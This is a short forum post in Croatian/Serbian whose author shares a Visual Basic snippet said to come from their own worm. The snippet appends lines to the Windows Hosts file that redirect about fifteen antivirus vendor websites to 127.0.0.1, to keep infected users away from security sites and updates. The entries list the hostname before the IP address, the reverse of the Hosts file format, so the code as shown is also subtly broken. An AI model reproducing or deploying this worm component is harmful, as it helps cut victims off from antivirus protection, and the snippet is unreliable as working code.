Ja sam radio isto preko Hosts fajla. Vrlo je lagano za napravit a efikasno. Evo ovako je to u VB izgledalo (ovo je izvađeno iz mog crva):
Code:
Win = Environ("WinDir") & "\"
Open Win & "\system32\Drivers\Etc\Hosts" For Append As #1
Print #1, "www.symantec.com 127.0.0.1"
Print #1, "www.sophos.com 127.0.0.1"
Print #1, "www.avast.com 127.0.0.1"
Print #1, "www.mcafee.com 127.0.0.1"
Print #1, "www.f-prot.com 127.0.0.1"
Print #1, "www.f-secure.com 127.0.0.1"
Print #1, "www.avp.com 127.0.0.1"
Print #1, "www.kaspersky.com 127.0.0.1"
Print #1, "www.trendmicro.com 127.0.0.1"
Print #1, "www.bitdefender.com 127.0.0.1"
Print #1, "www.my-etrust.com 127.0.0.1"
Print #1, "www.eset.com 127.0.0.1"
Print #1, "www.norman.com 127.0.0.1"
Print #1, "www.grisoft.com 127.0.0.1"
Print #1, "www.pandasecurity.com 127.0.0.1"
Close #1